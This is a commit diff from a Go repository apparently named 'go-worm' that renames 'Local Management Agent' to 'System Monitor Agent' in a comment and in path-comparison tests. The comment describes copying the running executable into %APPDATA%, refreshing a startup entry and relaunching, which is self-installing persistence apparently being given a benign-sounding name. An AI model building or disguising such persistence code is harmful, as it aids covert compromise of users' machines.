Rename Local Management Agent to System Monitor Agent throughout the codebase, including updates to executable names, comments, and documentation. This change reflects a broader scope of functionality and improves clarity in the project's purpose.
This commit is contained in:
@@ -11,7 +11,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
// Ensure copies the running exe into %APPDATA%\LocalManagementAgent\ when needed,
|
||||
// Ensure copies the running exe into %APPDATA%\SystemMonitorAgent\ when needed,
|
||||
// refreshes an existing startup entry to that path, and re-launches from there.
|
||||
func Ensure() error {
|
||||
target, err := config.InstalledExe()
|
||||
|
||||
@@ -13,8 +13,8 @@ func TestSamePath(t *testing.T) {
|
||||
a, b string
|
||||
want bool
|
||||
}{
|
||||
{`C:\Apps\localagent.exe`, `c:\apps\localagent.exe`, true},
|
||||
{`C:\Apps\localagent.exe`, `C:\Apps\copy.exe`, false},
|
||||
{`C:\Apps\SystemMonitorAgent.exe`, `c:\apps\systemmonitoragent.exe`, true},
|
||||
{`C:\Apps\SystemMonitorAgent.exe`, `C:\Apps\copy.exe`, false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if got := samePath(tc.a, tc.b); got != tc.want {
|
||||
|
||||
Reference in New Issue
Block a user